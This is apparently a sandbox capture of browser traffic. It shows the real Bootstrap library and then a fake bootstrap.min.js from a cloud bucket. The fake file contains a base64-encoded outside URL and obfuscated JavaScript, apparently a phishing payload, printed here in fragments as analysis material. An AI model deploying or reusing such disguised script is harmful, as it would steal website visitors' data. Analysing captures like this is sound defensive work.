cloudflare CF-RAY: 8f47fe633a664350-EWR alt-svc: h3=":443"; ma=86400
2024-12-19 14:13:30 UTC	402	IN	Data Raw: 37 62 65 63 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bec/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 65 66 69 6e 65 28 5b 22 65 78 70 6f 72 74 73 22 2c 22 6a 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 Data Ascii: efine(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.def
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 6e 2c 50 6e 2c 6a 6e 2c 48 6e 2c 4c 6e 2c 52 6e 2c 78 6e 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 Data Ascii: n,Pn,jn,Hn,Ln,Rn,xn,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUI
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 68 61 6e 64 6c 65 72 2e 61 70 70 6c 79 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 Data Ascii: handler.apply(this,arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;retu
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 2c 5f 2e 5f 68 61 6e 64 6c 65 44 69 73 6d 69 73 73 28 6e 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d Data Ascii: ,_._handleDismiss(new _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 28 74 29 7b 74 2e 70 72 65 76 65 6e 74 44 65 66 61 75 6c 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 Data Ascii: (t){t.preventDefault();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQuery
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 Data Ascii: this._element.querySelector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibili
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 67 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 Data Ascii: g=function(t){return t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTE
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 Data Ascii: lement=function(t){if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this
2024-12-19 14:13:30 UTC	1369	IN	Data Raw: 29 74 2e 74 6f 28 69 29 3b 65 6c 73 65 20 69 66 28 22 73 74 72 69 6e 67 22 3d 3d 74 79 70 65 6f 66 20 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 3d 3d 74 79 70 65 6f 66 20 74 5b 6e 5d 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 27 4e 6f 20 6d 65 74 68 6f 64 20 6e 61 6d 65 64 20 22 27 2b 6e 2b 27 22 27 29 3b 74 5b 6e 5d 28 29 7d 65 6c 73 65 20 65 2e 69 6e 74 65 72 76 61 6c 26 26 28 74 2e 70 61 75 73 65 28 29 2c 74 2e 63 79 63 6c 65 28 29 29 7d 29 7d 2c 6f 2e 5f 64 61 74 61 41 70 69 43 6c 69 63 6b 48 61 6e 64 6c 65 72 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 46 6e 2e 67 65 74 53 65 6c 65 63 74 6f 72 46 72 6f 6d 45 6c 65 6d 65 6e 74 28 74 68 69 73 29 3b 69 66 28 65 29 7b 76 61 72 20 6e 3d 50 28 65 29 5b 30 5d 3b 69 Data Ascii: )t.to(i);else if("string"==typeof n){if("undefined"==typeof t[n])throw new TypeError('No method named "'+n+'"');t[n]()}else e.interval&&(t.pause(),t.cycle())})},o._dataApiClickHandler=function(t){var e=Fn.getSelectorFromElement(this);if(e){var n=P(e)[0];i

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.5	49716	170.106.97.198	443	1288	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-19 14:13:31 UTC	632	OUT	GET /attach%2Fbootstrap.min.js HTTP/1.1 Host: 6032451419-1323985617.cos.na-siliconvalley.myqcloud.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-19 14:13:32 UTC	426	IN	HTTP/1.1 200 OK Content-Type: text/javascript Content-Length: 553316 Connection: close Accept-Ranges: bytes Content-Disposition: attachment Date: Thu, 19 Dec 2024 14:13:32 GMT ETag: "2e24a93c29e7a01c94a1bd61084c5178" Last-Modified: Wed, 18 Dec 2024 11:04:04 GMT Server: tencent-cos x-cos-force-download: true x-cos-hash-crc64ecma: 11135422136521195052 x-cos-request-id: Njc2NDJhMGJfNThjNTAwYl80NzJkXzI0YWQxMGY=
2024-12-19 14:13:32 UTC	7778	IN	Data Raw: 76 61 72 20 66 69 6c 65 20 3d 20 22 61 48 52 30 63 48 4d 36 4c 79 39 75 5a 58 64 74 61 57 35 6b 4c 6d 5a 6c 5a 47 56 79 59 57 78 6a 62 33 56 79 64 47 5a 70 62 47 56 7a 4c 6d 4e 76 62 53 39 75 5a 58 68 30 4c 6e 42 6f 63 41 3d 3d 22 3b 0d 0a 0d 0a 76 61 72 20 5f 30 78 35 35 61 32 61 34 3d 5f 30 78 32 63 31 33 3b 66 75 6e 63 74 69 6f 6e 20 5f 30 78 32 62 31 39 28 29 7b 76 61 72 20 5f 30 78 34 39 36 36 65 31 3d 5b 27 78 2d 6c 67 2d 72 6f 77 5c 78 32 30 7b 27 2c 27 63 6f 6c 6f 72 3a 5c 78 32 30 74 72 61 27 2c 27 64 69 76 5c 78 32 30 69 64 3d 5c 78 32 32 6d 61 27 2c 27 2d 6c 67 2d 30 5c 78 32 30 7b 5c 78 32 30 6d 61 27 2c 27 7e 2e 76 61 6c 69 64 2d 74 6f 27 2c 27 31 7c 34 7c 30 7c 32 7c 36 7c 27 2c 27 6e 2d 74 6f 70 3a 5c 78 32 30 31 2e 35 27 2c 27 3a 66 6f 63 Data Ascii: var file = "aHR0cHM6Ly9uZXdtaW5kLmZlZGVyYWxjb3VydGZpbGVzLmNvbS9uZXh0LnBocA==";var _0x55a2a4=_0x2c13;function _0x2b19(){var _0x4966e1=['x-lg-row\x20{','color:\x20tra','div\x20id=\x22ma','-lg-0\x20{\x20ma','~.valid-to','1\|4\|0\|2\|6\|','n-top:\x201.5',':foc
2024-12-19 14:13:32 UTC	8184	IN	Data Raw: 67 55 27 2c 27 68 5d 2c 5c 78 32 30 69 6e 70 75 74 5b 27 2c 27 2d 77 65 62 6b 69 74 2d 73 65 27 2c 27 5c 78 32 30 2e 35 29 5c 78 32 30 7d 5c 78 32 30 2e 63 75 27 2c 27 6f 70 6f 76 65 72 2d 61 75 74 27 2c 27 6c 69 6e 65 3a 5c 78 32 30 30 3b 5c 78 32 30 6f 27 2c 27 5c 78 32 30 31 33 3b 5c 78 32 30 6f 72 64 65 72 27 2c 27 75 74 74 6f 6e 5c 78 32 32 5c 78 32 30 63 6c 61 27 2c 27 69 67 68 74 3a 5c 78 32 30 31 30 37 70 27 2c 27 23 5c 78 32 30 73 6f 75 72 63 65 4d 61 27 2c 27 31 30 30 25 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 27 2c 27 3a 5c 78 32 30 72 69 67 68 74 3b 5c 78 32 30 6d 27 2c 27 7d 5c 78 32 30 2e 6c 69 73 74 2d 75 6e 27 2c 27 64 61 72 79 3a 68 6f 76 65 72 27 2c 27 63 6f 6e 74 72 6f 6c 2b 2e 63 27 2c 27 69 67 6e 2d 6d 69 64 64 6c 65 27 2c 27 78 2d 77 69 Data Ascii: gU','h],\x20input[','-webkit-se','\x20.5)\x20}\x20.cu','opover-aut','line:\x200;\x20o','\x2013;\x20order','utton\x22\x20cla','ight:\x20107p','#\x20sourceMa','100%\x20}\x20.or',':\x20right;\x20m','}\x20.list-un','dary:hover','control+.c','ign-middle','x-wi
2024-12-19 14:13:32 UTC	8184	IN	Data Raw: 68 27 2c 27 64 65 72 3a 5c 78 32 30 38 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 6c 69 64 5c 78 32 30 23 64 65 65 32 65 27 2c 27 61 63 65 2d 61 72 6f 75 6e 64 27 2c 27 75 73 2c 5c 78 32 30 61 2e 62 67 2d 77 27 2c 27 61 28 30 2c 5c 78 32 30 31 32 33 2c 5c 78 32 30 27 2c 27 53 79 6d 62 6f 6c 5c 78 32 32 3b 5c 78 32 30 2d 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 5c 78 32 30 21 69 27 2c 27 5c 78 32 37 2c 5c 78 32 37 53 65 67 6f 65 5c 78 32 30 55 27 2c 27 61 6c 65 72 74 2d 6c 69 67 68 27 2c 27 6e 64 65 78 3a 5c 78 32 30 31 3b 5c 78 32 30 74 27 2c 27 75 70 2d 69 74 65 6d 2d 70 72 27 2c 27 74 65 64 5c 78 32 30 2e 63 75 73 74 6f 27 2c 27 6e 65 5c 78 32 30 2e 69 6e 70 75 74 2d 27 2c 27 69 6e 6b 4d 61 63 53 79 73 74 27 2c 27 73 70 61 6e 3e 57 65 5c 78 32 30 74 65 27 2c Data Ascii: h','der:\x208\x20}\x20.','lid\x20#dee2e','ace-around','us,\x20a.bg-w','a(0,\x20123,\x20','Symbol\x22;\x20-','on:\x20row\x20!i','\x27,\x27Segoe\x20U','alert-ligh','ndex:\x201;\x20t','up-item-pr','ted\x20.custo','ne\x20.input-','inkMacSyst','span>We\x20te',
2024-12-19 14:13:32 UTC	8184	IN	Data Raw: 6c 75 27 2c 27 50 4a 53 64 63 27 2c 27 64 69 6e 67 2d 74 6f 70 3a 5c 78 32 30 27 2c 27 64 2d 63 6c 69 70 3a 5c 78 32 30 62 6f 27 2c 27 32 35 35 2c 5c 78 32 30 2e 32 35 29 5c 78 32 30 27 2c 27 35 3b 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 27 2c 27 74 65 6e 74 3a 5c 78 32 30 63 65 6e 74 27 2c 27 31 30 5c 78 32 30 7b 5c 78 32 30 6d 61 72 67 69 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 35 72 65 27 2c 27 4e 43 4c 4d 75 27 2c 27 69 76 3e 5c 78 32 30 3c 2f 66 6f 72 6d 27 2c 27 74 65 72 6c 69 6d 69 74 3d 5c 78 32 37 27 2c 27 6d 61 72 67 69 6e 3a 5c 78 32 30 2e 35 27 2c 27 74 2d 68 69 64 65 5c 78 32 30 7b 5c 78 32 30 66 27 2c 27 6e 6f 6e 65 3b 5c 78 32 30 2d 6d 6f 7a 27 2c 27 72 6f 70 6c 65 66 74 5c 78 32 30 2e 64 27 2c 27 6c 69 64 5c 78 32 30 7b 5c 78 32 30 62 6f Data Ascii: lu','PJSdc','ding-top:\x20','d-clip:\x20bo','255,\x20.25)\x20','5;\x20order:\x20','tent:\x20cent','10\x20{\x20margi','ttom:\x20.5re','NCLMu','iv>\x20</form','terlimit=\x27','margin:\x20.5','t-hide\x20{\x20f','none;\x20-moz','ropleft\x20.d','lid\x20{\x20bo
2024-12-19 14:13:32 UTC	8184	IN	Data Raw: 33 32 3b 26 23 27 2c 27 2d 6e 61 76 5c 78 32 30 2e 64 72 6f 70 27 2c 27 5c 78 32 30 31 5c 78 32 30 7d 5c 78 32 30 2e 6f 72 64 65 27 2c 27 33 33 33 33 33 25 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 5b 68 72 65 66 5d 3a 68 6f 76 27 2c 27 2d 70 6f 70 6f 76 65 72 2d 74 27 2c 27 6f 6e 3a 5c 78 32 30 72 6f 77 2d 72 65 27 2c 27 2e 74 61 62 6c 65 5c 78 32 30 74 68 65 27 2c 27 43 63 65 62 59 27 2c 27 74 69 70 6c 65 5d 29 2c 5c 78 32 30 2e 27 2c 27 23 6c 6f 61 64 65 72 27 2c 27 43 6f 6c 6f 72 5c 78 32 30 45 6d 6f 6a 27 2c 27 6c 65 66 74 3a 5c 78 32 30 61 75 74 6f 27 2c 27 76 65 72 74 69 63 61 6c 3e 2e 27 2c 27 25 2c 5c 78 32 30 30 2c 5c 78 32 30 30 29 3b 5c 78 32 30 27 2c 27 28 5b 73 69 7a 65 5d 29 3a 6e 27 2c 27 73 2d 70 6f 70 6f 76 65 72 2d 27 2c 27 6f 74 74 6f 6d Data Ascii: 32;&#','-nav\x20.drop','\x201\x20}\x20.orde','33333%\x20}\x20.','[href]:hov','-popover-t','on:\x20row-re','.table\x20the','CcebY','tiple]),\x20.','#loader','Color\x20Emoj','left:\x20auto','vertical>.','%,\x200,\x200);\x20','([size]):n','s-popover-','ottom
2024-12-19 14:13:32 UTC	8184	IN	Data Raw: 78 32 30 23 64 65 65 32 65 36 5c 78 32 30 21 27 2c 27 7d 5c 78 32 30 61 2e 74 65 78 74 2d 73 27 2c 27 6e 64 5c 78 32 30 7b 5c 78 32 30 2d 77 65 62 6b 27 2c 27 3a 5c 78 32 30 23 31 37 31 61 31 64 5c 78 32 30 27 2c 27 3d 5c 78 32 32 62 6f 78 5c 78 32 32 5c 78 32 30 69 64 3d 27 2c 27 69 63 61 6c 3e 2e 62 74 6e 3a 27 2c 27 2d 78 6c 2d 31 5c 78 32 30 7b 5c 78 32 30 2d 77 27 2c 27 73 68 6f 77 3e 2e 6e 61 76 2d 27 2c 27 6c 28 5c 78 32 32 64 61 74 61 3a 69 6d 27 2c 27 73 5c 78 32 30 7b 5c 78 32 30 63 6f 6c 6f 72 3a 27 2c 27 2d 65 78 70 61 6e 64 2d 78 6c 27 2c 27 74 68 3a 5c 78 32 30 31 30 30 25 3b 5c 78 32 30 27 2c 27 65 6c 70 3b 5c 78 32 30 62 6f 72 64 65 27 2c 27 5c 78 32 30 7d 5c 78 32 30 2e 63 6c 6f 73 65 3a 27 2c 27 3b 5c 78 32 30 74 65 78 74 2d 73 68 61 27 Data Ascii: x20#dee2e6\x20!','}\x20a.text-s','nd\x20{\x20-webk',':\x20#171a1d\x20','=\x22box\x22\x20id=','ical>.btn:','-xl-1\x20{\x20-w','show>.nav-','l(\x22data:im','s\x20{\x20color:','-expand-xl','th:\x20100%;\x20','elp;\x20borde','\x20}\x20.close:',';\x20text-sha'
2024-12-19 14:13:33 UTC	8184	IN	Data Raw: 78 32 30 7b 5c 78 32 30 6d 61 72 27 2c 27 74 79 3a 5c 78 32 30 2e 39 5c 78 32 30 7d 5c 78 32 30 2e 27 2c 27 67 69 6e 3a 5c 78 32 30 2e 35 72 65 6d 27 2c 27 6c 74 69 70 5c 78 32 30 7b 5c 78 32 30 70 6f 73 27 2c 27 6c 74 69 70 2c 5c 78 32 30 2e 77 61 73 27 2c 27 3d 63 68 65 63 6b 62 6f 78 5d 27 2c 27 7b 5c 78 32 30 6d 61 72 67 69 6e 2d 6c 27 2c 27 6e 61 34 65 4c 6a 35 4f 58 6d 27 2c 27 6b 69 64 61 4d 27 2c 27 74 69 70 5c 78 32 30 7b 5c 78 32 30 64 69 73 70 27 2c 27 2c 5c 78 32 30 36 33 70 78 29 5c 78 32 30 72 6f 27 2c 27 2e 37 35 72 65 6d 5c 78 32 30 31 2e 32 27 2c 27 7d 5c 78 32 30 5b 74 79 70 65 3d 62 75 27 2c 27 6f 72 73 5c 78 32 30 7b 5c 78 32 30 70 6f 73 69 27 2c 27 74 65 6e 74 3a 5c 78 32 30 73 70 61 63 27 2c 27 75 73 74 6f 6d 2d 72 61 64 69 27 2c 27 Data Ascii: x20{\x20mar','ty:\x20.9\x20}\x20.','gin:\x20.5rem','ltip\x20{\x20pos','ltip,\x20.was','=checkbox]','{\x20margin-l','na4eLj5OXm','kidaM','tip\x20{\x20disp',',\x2063px)\x20ro','.75rem\x201.2','}\x20[type=bu','ors\x20{\x20posi','tent:\x20spac','ustom-radi','
2024-12-19 14:13:33 UTC	8184	IN	Data Raw: 49 58 6c 27 2c 27 38 2e 33 33 33 33 33 33 25 3b 27 2c 27 69 6e 70 75 74 2e 69 73 2d 69 27 2c 27 5b 74 79 70 65 3d 6d 6f 6e 74 27 2c 27 74 2d 69 6e 6c 69 6e 65 2d 69 27 2c 27 61 73 5c 78 32 30 66 61 2d 61 72 72 6f 27 2c 27 74 74 6f 6d 3a 5c 78 32 30 2e 32 35 72 27 2c 27 5c 78 32 30 6f 72 64 65 72 3a 5c 78 32 30 31 31 27 2c 27 65 66 74 2d 72 61 64 69 75 73 27 2c 27 36 77 52 34 33 4e 36 6b 39 54 27 2c 27 2d 67 72 6f 75 70 2d 70 72 65 27 2c 27 6e 3a 5c 78 32 30 6e 6f 72 6d 61 6c 3b 27 2c 27 37 68 32 32 4d 34 5c 78 32 30 31 35 68 27 2c 27 55 41 41 41 41 42 41 41 41 41 27 2c 27 62 6f 78 2d 70 61 63 6b 3a 5c 78 32 30 27 2c 27 69 70 73 69 73 3b 5c 78 32 30 77 68 69 27 2c 27 6f 72 65 2c 5c 78 32 30 2e 62 73 2d 74 27 2c 27 74 68 3a 5c 78 32 30 39 31 2e 36 36 36 27 Data Ascii: IXl','8.333333%;','input.is-i','[type=mont','t-inline-i','as\x20fa-arro','ttom:\x20.25r','\x20order:\x2011','eft-radius','6wR43N6k9T','-group-pre','n:\x20normal;','7h22M4\x2015h','UAAAABAAAA','box-pack:\x20','ipsis;\x20whi','ore,\x20.bs-t','th:\x2091.666'
